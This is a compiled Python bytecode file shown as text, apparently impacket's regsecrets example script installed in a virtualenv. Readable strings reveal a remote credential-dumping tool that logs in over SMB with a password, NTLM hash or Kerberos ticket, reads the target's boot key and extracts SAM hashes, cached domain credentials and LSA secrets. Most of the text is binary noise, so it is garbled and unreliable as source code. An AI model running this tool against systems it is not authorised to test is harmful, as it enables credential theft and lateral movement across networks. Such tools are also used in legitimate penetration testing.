o
    j-                  
   @   s  d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dlm	Z	 d dl
mZ d dlmZmZmZ d dlmZ d dlmZmZ G d	d
 d
Zedkrejjdu r[edeje_eej e jdddZejdddd ejdddd ejdddd ejdddd ejdddd ejddddd  ejd!dd"dd  ejd#dd$dd  ejd%dd&d ed' ejd(dd)d e d*Z!e!jd+dd,d e d-Z!e!jd.dd/d0d1 e!jd2dd3d e!jd4dd5d e!jd6dd7d8d1 e!jd9dd:d e d;Z!e!jd<dd=d>d1 e!jd?dd=d@d1 e"ej#dAkr e$  e%dA e& Z'e(e'j)e'j* e	e'j+\Z,Z-Z.Z/e'j0du r>e/e'_0e,du rEdBZ,e'j1durWe2e'j1e-e,e' de'_3e.dBkr}e-dBkr}e'j4du r}e'j5du r}e'j6du r}d dCl7m7Z7 e7dDZ.e'j6durde'_3ee/e-e.e,e'Z8ze89  W dS  e:y Z; ze< j=ej>krd dl?Z?e?@  eAe; W Y dZ;[;dS dZ;[;ww dS )E    N)version)logger)parse_target)SMBConnection)
LSASecretsRemoteOperations	SAMHashes)Keytab)	unhexlifyhexlifyc                   @   s.   e Zd ZdddZdd Zdd Zd	d
 ZdS )DumpSecrets Nc                 C   s   || _ |j| _|| _|| _|| _d| _d| _|j| _	|j
| _d | _d | _d | _d | _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j d ur[|j !d\| _| _d S d S )Nr   :)"_DumpSecrets__remoteName	target_ip_DumpSecrets__remoteHost_DumpSecrets__username_DumpSecrets__password_DumpSecrets__domain_DumpSecrets__lmhash_DumpSecrets__nthash
outputfile_DumpSecrets__outputFileNameaesKey_DumpSecrets__aesKey_DumpSecrets__smbConnection_DumpSecrets__remoteOps_DumpSecrets__SAMHashes_DumpSecrets__LSASecretsbootkey_DumpSecrets__bootkeyk_DumpSecrets__doKerberoshistory_DumpSecrets__historydc_ip_DumpSecrets__kdcHostnosam_DumpSecrets__nosamnocache_DumpSecrets__nocachenolsa_DumpSecrets__nolsathrottle_DumpSecrets__throttlehashessplit)self
remoteNameusernamepassworddomainoptions r7   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/regsecrets.py__init__C   s0   
zDumpSecrets.__init__c              	   C   sb   t | j| j| _| jr | j| j| j| j| j	| j
| j| j d S | j| j| j| j| j	| j
 d S )N)r   r   r   r   r"   kerberosLoginr   r   r   r   r   r   r&   loginr1   r7   r7   r8   connect]   s   "zDumpSecrets.connectc              
   C   s   z;d }z|    t| j| j| j| _| j  W n ty4 } zt	dt
|  W Y d }~nd }~ww | js[z| j }W n: tyZ } zt	dt
|  W Y d }~n$d }~ww | jdri| jdd  | _t| j}tdt|d  |d u rtd| jszt|| j| j| jd| _| j  | jd ur| j| j W n+ ty } zt jtjkrdd l}|  t	d	t
|  W Y d }~nd }~ww z8t|| j| j| jd
| _ | j!s| j "  | jd ur| j #| j | j$s| j %  | jd ur| j &| j W n- ty5 } z t jtjkr"dd l}|  t	dt
|  W Y d }~nd }~ww | '  W d S  tt(fy } z4t jtjkrXdd l}|  t	| z| '  W n   td Y W Y d }~d S W Y d }~d S d }~ww )NzRemoteOperations failed: %s0x   zTarget system bootKey: 0x%szutf-8zFailed to fetch bootKey)	remoteOpsr#   r-   r   z SAM hashes extraction failed: %s)r#   r-   z LSA hashes extraction failed: %szFailed to perform cleanup...))r=   r   r   r"   r&   r   enableRegistry	Exceptionloggingerrorstrr    
getBootKey
startswithr
   infor   decoder(   r   r$   r.   r   dumpr   export	getLoggerlevelDEBUG	traceback	print_excr   r   r*   dumpCachedHashesexportCachedr,   dumpSecretsexportSecretscleanupKeyboardInterrupt)r1   bootKeyerO   r7   r7   r8   rJ   e   s   







zDumpSecrets.dumpc                 C   s(   t d | jr| j  | j  d S )NzCleaning up... )rC   rH   r   finishr   logoffr<   r7   r7   r8   rU      s   

zDumpSecrets.cleanup)r   r   r   N)__name__
__module____qualname__r9   r=   rJ   rU   r7   r7   r7   r8   r   B   s
    
@r   __main__utf8TzfPerforms various techniques to dump secrets from the remote machine without executing any agent there.)add_helpdescriptiontargetstorez6[[domain/]username[:password]@]<targetName or address>)actionhelpz-ts
store_truez&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONz-systemzSYSTEM hive to parsez-bootkeyzbootkey for SYSTEM hivez-nosamzDo not retrieve SAM informationF)rd   re   defaultz-nocachez#Do not retrieve MSCache informationz-nolsazDo not retrieve LSASecretsz	-throttlez&Throttle in seconds between operations)rd   re   rg   typez-outputfilezJbase output filename. Extensions will be added for sam, secrets and cachedzdisplay optionsz-historyzCDump password history (NTDS and SAM hashes), and LSA secrets OldValauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)rd   metavarre   z-no-passz&don't ask for password (useful for -k)z-kzUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z-keytabz"Read keys for SPN from keytab file
connectionz-dc-ipz
ip addresszoIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameterz
-target-ipzIP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it   r   )getpassz	Password:)BargparsecodecsrC   sysimpacketr   impacket.examplesr   impacket.examples.utilsr   impacket.smbconnectionr   impacket.examples.regsecretsr   r   r   impacket.krb5.keytabr	   binasciir
   r   r   r[   stdoutencoding	getwriterprintBANNERArgumentParserparseradd_argumentintadd_argument_groupgrouplenargv
print_helpexit
parse_argsr6   inittsdebugrb   r5   r3   r4   r2   r   keytabloadKeysFromKeytabr!   r/   no_passr   rm   dumperrJ   rB   rX   rL   rM   rN   rO   rP   rD   r7   r7   r7   r8   <module>   s   3
j






8